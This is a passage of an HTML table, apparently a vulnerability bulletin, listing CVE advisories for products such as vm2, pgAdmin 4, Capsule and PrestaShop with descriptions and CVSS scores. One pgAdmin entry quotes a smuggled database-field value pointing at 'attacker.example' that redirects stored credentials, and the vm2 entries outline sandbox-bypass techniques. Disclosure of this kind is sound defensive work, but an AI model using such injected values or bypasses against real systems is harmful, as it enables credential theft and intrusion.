&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Cloud Gateway). Supported versions that are affected are 17.0-26.7. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 6.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73965&quot; target=&quot;_blank&quot;&gt;CVE-2026-73965&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;oras-project--oras-go&lt;/td&gt;
&lt;td&gt;oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, the parseLink function in registry/remote/utils.go accepts an absolute URL from a registry-controlled Link response header without validating its scheme, host, or port. Tags, Referrers, and Repositories pagination operations then issue a GET request to the attacker-selected URL from the victim&#039;s network, allowing blind server-side request forgery against internal services. The response body is not returned to the attacker, but timing and error differences can reveal service reachability, and credentials may be attached when the credential store has an entry for the target host. Exploitation requires a victim to perform a pagination-based listing operation against a malicious registry. The maintainer identifies this report as a duplicate of GHSA-3hr5-mjrr-hfjh and states that remediation is consolidated in that earlier advisory. The consolidated issue is fixed in version 2.6.2.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85732&quot; target=&quot;_blank&quot;&gt;CVE-2026-85732&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;outerbase--studio&lt;/td&gt;
&lt;td&gt;Outerbase Studio is a lightweight browser-based database GUI supporting PostgreSQL, MySQL, and SQLite. In version 0.10.2 and earlier, TextComponent in src/components/chart/index.tsx renders unsanitized Text Widget content through dangerouslySetInnerHTML, allowing injected markup with script-capable event handlers to execute when the widget is displayed. Outerbase Cloud and its backend services were discontinued in 2025, and the current architecture uses local browser dashboard storage, so the impact is limited to local self-XSS. Authentication token theft, account takeover, and backend database access are not applicable to the current architecture. No fixed release is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55650&quot; target=&quot;_blank&quot;&gt;CVE-2026-55650&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 versions 3.11.4 through 3.11.6 incompletely filter Node.js registered internal symbols across the sandbox boundary. The extraction filters in lib/setup-sandbox.js and the cross-realm symbol checks and write traps in lib/bridge.js use a fixed list of known dangerous registered symbols that omits nodejs.stream.disturbed and nodejs.stream.errored, which are exposed on host WebStream prototypes on newer Node.js releases (validated on Node.js v25.8.0). When the embedder exposes a host WebStream object and the host stream/web module to the sandbox, sandbox code can obtain the real host symbols via Object.getOwnPropertySymbols(streamWeb.ReadableStream.prototype) and use them as write keys on host stream objects, corrupting host-visible stream state - for example making stream.Readable.isDisturbed() return false for an already-consumed stream. This can bypass host logic that relies on Node&#039;s public stream-state helpers to enforce one-shot body consumption, reject errored streams, or decide whether a stream is safe to hand to another component. It is not a host code-execution primitive in the reported proof of vulnerability. This is an incomplete fix for the earlier nodejs.* symbol filtering issue. Fixed in vm2 3.11.7.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92952&quot; target=&quot;_blank&quot;&gt;CVE-2026-92952&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 is a sandbox for running untrusted Node.js code. In versions &amp;lt;= 3.11.7, NodeVM exposes the host `util` module to the sandbox as an unfiltered shallow copy (`Object.assign({}, util)` in `defaultBuiltinLoaderUtil`), and the deprecated `sys` builtin (an alias of host `util`) is exposed through the generic builtin loader. On Node.js &amp;gt;= 22.9 this hands sandboxed code `util.getCallSites()`, a programmatic stack-introspection API that returns the host process&#039;s full call stack, including absolute file paths, function names, and line numbers for vm2 bridge internals and the embedding application&#039;s entrypoint. This bypasses the host-frame redaction introduced for GHSA-v27g-jcqj-v8rw, which only applies to the `Error.prepareStackTrace` formatting channel. The issue is fixed in vm2 3.11.8.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92933&quot; target=&quot;_blank&quot;&gt;CVE-2026-92933&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 versions 3.11.0 through 3.11.6 leak absolute host filesystem paths to sandboxed code through error stack formatting. Attacker-supplied code can force the host-realm source transformer to throw a SyntaxError (for example by calling eval with malformed source) and then read the error&#039;s .stack property; the bridge forwards the .stack read to the host-realm formatter, bypassing the sandbox-side host-path redaction introduced for GHSA-v27g-jcqj-v8rw. The returned stack string discloses absolute paths from vm2, Node.js internals, and the embedding application&#039;s own source tree, along with host function names. Default new VM() and new NodeVM() configurations are affected without any special options, and the issue persists when string eval is disabled because the host-side transformer throws before eval is handled. The impact is information disclosure only; no code execution results. Fixed in vm2 3.11.7.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92936&quot; target=&quot;_blank&quot;&gt;CVE-2026-92936&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 versions before 3.11.2 fail to properly restrict access to the VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL global variable. Attackers can access this internal state object through globalThis to retrieve sensitive sandbox internals.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92963&quot; target=&quot;_blank&quot;&gt;CVE-2026-92963&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 before 3.11.7 contains a module allowlist bypass vulnerability in isPathAllowedForModule that uses raw string prefix matching instead of boundary-anchored comparison. Attackers can reach non-allowlisted packages sharing a prefix with allowlisted modules by performing relative requires from allowlisted packages when transitive loading is disabled.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92945&quot; target=&quot;_blank&quot;&gt;CVE-2026-92945&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92949&quot; target=&quot;_blank&quot;&gt;CVE-2026-92949&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Patrowl--PatrowlManager&lt;/td&gt;
&lt;td&gt;PatrowlManager through 1.8.4 contains an improper access control vulnerability in the user listing API endpoint where the authorization decorator is commented out. Authenticated attackers with low-privilege accounts can enumerate all users and their privilege flags including superuser and staff status by accessing the endpoint.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92754&quot; target=&quot;_blank&quot;&gt;CVE-2026-92754&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Paymenter--Paymenter&lt;/td&gt;
&lt;td&gt;Paymenter is a free and open-source webshop solution for management of hosting services. Prior to 1.5.7, app/Livewire/Services/Upgrade.php::doUpgrade() relies on Service::upgradable to check for a pending service upgrade and later executes $credit-&amp;gt;increment(&#039;amount&#039;, abs($price)) without DB::transaction or lockForUpdate() spanning those operations. An authenticated customer with an active downgradable service can submit concurrent downgrade requests that each observe no pending upgrade, create separate upgrade records, and increment the same account credit balance, producing multiple spendable refunds for one downgrade. This issue is fixed in version 1.5.7.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71537&quot; target=&quot;_blank&quot;&gt;CVE-2026-71537&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PbootCMS--PbootCMS&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in PbootCMS up to 3.2.24. This vulnerability affects the function UserController::del/UserController::mod of the file apps/admin/controller/system/UserController.php of the component User Management. Such manipulation leads to cross-site request forgery. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. Upgrading to version 3.2.25 is able to resolve this issue. The name of the patch is c25241a0964742cefb7f698efbb6c38b868d6ff7. It is advisable to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92383&quot; target=&quot;_blank&quot;&gt;CVE-2026-92383&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pepperl+Fuchs--ICE2-8IOL1-G65L-V1D&lt;/td&gt;
&lt;td&gt;A low-privileged remote attacker can manipulate the schema path parameter in the /index.php/diagnostics_tab/ajax_diag_table_rows endpoint using a valid user cookie allowing disclosure of all user password hashes.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27553&quot; target=&quot;_blank&quot;&gt;CVE-2026-27553&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pgadmin.org--pgAdmin 4&lt;/td&gt;
&lt;td&gt;pgAdmin 4&#039;s Restore and Maintenance tools passed the client-supplied &#039;database&#039; field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as &#039;host=attacker.example port=5432 dbname=x&#039; therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86862&quot; target=&quot;_blank&quot;&gt;CVE-2026-86862&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pgadmin.org--pgAdmin 4&lt;/td&gt;
&lt;td&gt;pgAdmin 4&#039;s File Manager save_file endpoint, which backs saving from the Query Tool and ERD, validated the requested path with Filemanager.check_access_permission() and then opened the file for writing with a plain open() call. CVE-2026-7819 had previously hardened the separate file upload path by opening its target with O_NOFOLLOW, so that the kernel refuses to follow a symbolic link at the final path component, but save_file was left on an unprotected open(). A symbolic link already present when the check ran was rejected by the check itself; the remaining exposure was a link substituted at the final path component in the interval between the check and the write, at which point the write followed the link and landed outside the user&#039;s storage directory, creating or overwriting an arbitrary file as the operating-system account running pgAdmin. Exploitation requires the ability to create or replace a symbolic link inside the requesting user&#039;s storage directory. pgAdmin exposes no interface that creates symbolic links, so this requires filesystem access to the pgAdmin host or to a shared or network-mounted storage backend, together with winning the timing window. The reporter did not achieve a write against a released version, having attempted approximately 63,000 racing requests without success; the reported defect is the uncovered write path rather than a demonstrated sandbox escape. The fix routes save_file&#039;s write through the same O_NOFOLLOW-protected helper already used by the upload path, so both File Manager write sinks carry identical kernel-enforced protection, and reports a symbolic-link refusal explicitly instead of surfacing the underlying system error text. Note that files created by save_file are now given mode 0600, inheriting the behaviour introduced for uploads. The protection covers the final path component; substitution of an intermediate directory component is not addressed by this change. This issue affects pgAdmin 4: from the introduction of the containment check in the File Manager save path before 9.18.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86861&quot; target=&quot;_blank&quot;&gt;CVE-2026-86861&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pgpartman--pg_partman&lt;/td&gt;
&lt;td&gt;pg_partman is a PostgreSQL extension that manages partitioned tables by time or ID. Prior to 5.5.0, run_maintenance() handles exceptions outside the loop that processes rows from part_config, so an exception for one partition set immediately terminates the loop and skips every later set. A role with partman_user access can insert or update a row that reliably fails and assign it a low maintenance_order value so it is processed before legitimate rows. Repeated maintenance ticks then abort before legitimate partition sets are maintained, causing database-wide loss of automated partition maintenance. This issue is fixed in version 5.5.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61822&quot; target=&quot;_blank&quot;&gt;CVE-2026-61822&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHPGurukul--Hostel Management System&lt;/td&gt;
&lt;td&gt;A flaw has been found in PHPGurukul Hostel Management System 3.0. This affects an unknown part of the file /admin/includes/checklogin.php. This manipulation of the argument ID causes improper access controls. Remote exploitation of the attack is possible. The exploit has been published and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90851&quot; target=&quot;_blank&quot;&gt;CVE-2026-90851&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;piskvorky--gensim&lt;/td&gt;
&lt;td&gt;A weakness has been identified in piskvorky gensim up to 4.4.0. The impacted element is the function Load of the file gensim/utils.py of the component Model Loader. This manipulation of the argument fname causes deserialization. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. Maintainer closed #3663 same-day with no comment, PR, or fix; repo&#039;s last push (2025-11-01) predates the report, so the unsafe pickle.load in SaveLoad.load remains unguarded at develop HEAD.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94091&quot; target=&quot;_blank&quot;&gt;CVE-2026-94091&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pixelfed--Pixelfed&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in Pixelfed up to 0.12.11. Impacted is the function instancePeers of the file app/Http/Controllers/Api/ApiV1Controller.php of the component OAuth Scope Handler. Such manipulation of the argument ID leads to missing authentication. The attack may be performed from remote. The exploit is publicly available and might be used. Upgrading to version 0.12.10 is recommended to address this issue. The name of the patch is 68dca5097305fa0065d029587b2233524636025a. Upgrading the affected component is advised.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93960&quot; target=&quot;_blank&quot;&gt;CVE-2026-93960&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PLANET Technology Corp.--PLANET IGS-5225-8P2T4S V1&lt;/td&gt;
&lt;td&gt;PLANET IGS-5225-8P2T4S industrial managed switch V1 and V2 firmware versions before 1.2412b260707 and 2.2412b260519 contain active debug functionality in the embedded software. An attacker with privileged access to the device can enable this debug mode to execute arbitrary code on the underlying operating system and gain root-level access.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81943&quot; target=&quot;_blank&quot;&gt;CVE-2026-81943&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PLANET Technology Corp.--PLANET IGS-5225-8P2T4S V1&lt;/td&gt;
&lt;td&gt;PLANET IGS-5225-8P2T4S industrial managed switch V1 and V2 firmware versions bfore 1.2412b260707 and 2.2412b260519 contain a stack-based buffer overflow in the web server. Insufficient bounds checking on data copied into a stack buffer allows a remote administrator to cause a denial of service or potentially execute arbitrary code on the underlying operating system.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81945&quot; target=&quot;_blank&quot;&gt;CVE-2026-81945&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PLANET Technology Corp.--PLANET IGS-5225-8P2T4S V1&lt;/td&gt;
&lt;td&gt;PLANET IGS-5225-8P2T4S industrial managed switch V1 and V2 firmware versions before 1.2412b260707 and 2.2412b260519 use MD5-based password hashing, a cryptographic algorithm with known weaknesses. An attacker who obtains the device configuration file can recover the privileged-mode access password.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81946&quot; target=&quot;_blank&quot;&gt;CVE-2026-81946&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;plone--plone.app.textfield&lt;/td&gt;
&lt;td&gt;plone.app.textfield provides a zope.schema-style field type called RichText for storing a value with a related MIME type. Prior to 2.0.2, 3.0.2, and 4.0.1, depending on the release line, RichTextValue.output returns an unsanitized stored RichText value when mimeType equals outputMimeType, including values that claim the text/x-html-safe output type. This equality shortcut bypasses the safe_html transform even though the transform itself correctly removes event-handler attributes and unsafe URI schemes. Equal types can result from a RichText field configured with the same mimeType and outputMimeType or from REST API input that supplies text/x-html-safe as its content type. The raw stored value is then emitted through tal:content=structure without escaping, allowing a user who can set a RichText field to store JavaScript that executes in a viewer&#039;s browser. This issue is fixed in versions 2.0.2, 3.0.2, and 4.0.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54503&quot; target=&quot;_blank&quot;&gt;CVE-2026-54503&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PPP Project--ppp&lt;/td&gt;
&lt;td&gt;The code in pppd that formats a response to a PEAP Request packet in peap_response() copies an entire TLS record of up to 16384 bytes into the fixed global buffer outpacket_buf without checking the available space and without implementing outgoing PEAP fragmentation. Thus a pppd process connecting to a server which requests PEAP authentication can be induced to corrupt global static data following the outpacket_buf array, most likely causing incorrect behavior or a crash.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75883&quot; target=&quot;_blank&quot;&gt;CVE-2026-75883&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PrestaShop--blockwishlist&lt;/td&gt;
&lt;td&gt;PrestaShop blockwishlist through 3.0.2 fails to validate wishlist ownership in the getUrlByIdWishListAction method, allowing authenticated customers to retrieve share tokens for any wishlist by identifier. Attackers can supply sequential wishlist identifiers to obtain valid share links and read other customers&#039; private wishlist contents.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92810&quot; target=&quot;_blank&quot;&gt;CVE-2026-92810&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PrestaShop--psgdpr&lt;/td&gt;
&lt;td&gt;PrestaShop psgdpr versions through 1.4.3 fail to validate that GDPR consent log entries are attributed to the authenticated customer. Authenticated attackers can submit arbitrary customer identifiers to create forged consent records for other customers, corrupting audit logs.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92809&quot; target=&quot;_blank&quot;&gt;CVE-2026-92809&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;projectcapsule--capsule&lt;/td&gt;
&lt;td&gt;Capsule is a multi-tenancy and policy-based framework for Kubernetes. From 0.13.0 until 0.13.7, the Tenant update validation in internal/webhook/tenant/validation/forbidden_annotations_regex.go compiles ForbiddenLabels.Regex for both the labels and annotations checks instead of validating ForbiddenAnnotations.Regex. An administrator who can update a Tenant can therefore persist a malformed ForbiddenAnnotations.Regex while leaving the labels expression valid. Namespace creation or update later passes the stored expression through pkg/api/forbidden_list.go, where regexp.MustCompile can panic during forbidden metadata validation and deny namespace operations for the affected tenant. This issue is fixed in version 0.13.7.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61794&quot; target=&quot;_blank&quot;&gt;CVE-2026-61794&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;projectcapsule--capsule&lt;/td&gt;
&lt;td&gt;Capsule is a multi-tenancy and policy-based framework for Kubernetes. From 0.13.0 until 0.13.7, hostnameRegexHandler.OnUpdate in internal/webhook/tenant/validation/hostname_regex.go reverses the new and old Tenant parameters and validates the previous AllowedHostnames.Regex instead of the submitted value. A cluster administrator can therefore store a malformed AllowedHostnames.Regex after the webhook accepts the update based on stale valid state. Subsequent Ingress creation or update reaches validate_hostnames.go, which evaluates the malformed pattern, ignores the regular-expression error, and treats every hostname as unmatched, blocking Ingress operations for the affected tenant until an administrator repairs the Tenant configuration. This issue is fixed in version 0.13.7.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61795&quot; target=&quot;_blank&quot;&gt;CVE-2026-61795&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;projectcapsule--capsule&lt;/td&gt;
&lt;td&gt;Capsule is a multi-tenancy and policy-based framework for Kubernetes. From 0.13.0 until 0.13.6, charts/capsule/templates/configuration.yaml configures the validating webhook with namespace/finalize instead of the Kubernetes resource name namespaces/finalize. A user with namespaces/finalize RBAC can send a PUT request to /api/v1/namespaces/{namespace}/finalize, and the singular rule never matches the plural resource, so the validating webhook is not invoked and the user can change the namespace tenant label. matchPolicy: Equivalent does not compensate because it handles API group and version equivalence rather than resource-name errors. This vulnerability is fixed in 0.13.6.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55636&quot; target=&quot;_blank&quot;&gt;CVE-2026-55636&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Property Hive--PropertyHive&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in PropertyHive &amp;lt;= 2.2.6 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66578&quot; target=&quot;_blank&quot;&gt;CVE-2026-66578&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;publishpress--Co-Authors, Multiple Authors and Guest Authors in an Author Box with PublishPress Authors&lt;/td&gt;
&lt;td&gt;The Co-Authors, Multiple Authors and Guest Authors in an Author Box with PublishPress Authors plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;profile_fields_user_email_value_prefix&#039; parameter in all versions up to, and including, 4.15.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user clicks on a link.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85657&quot; target=&quot;_blank&quot;&gt;CVE-2026-85657&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PublishPress--PublishPress Series&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in PublishPress Series &amp;lt;= 3.1.3 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66617&quot; target=&quot;_blank&quot;&gt;CVE-2026-66617&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PublishPress--PublishPress Series&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Request Forgery (CSRF) in PublishPress Series &amp;lt;= 3.1.3 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74005&quot; target=&quot;_blank&quot;&gt;CVE-2026-74005&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pycontribs--ansi2html&lt;/td&gt;
&lt;td&gt;ansi2html versions 1.7.0a0 through 1.9.3 contain a cross-site scripting vulnerability in OSC 8 hyperlink handling that fails to validate or escape URL targets. Attackers controlling ANSI text input can inject javascript: schemes or terminate href attributes to execute arbitrary scripts in the context of pages displaying converted output.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
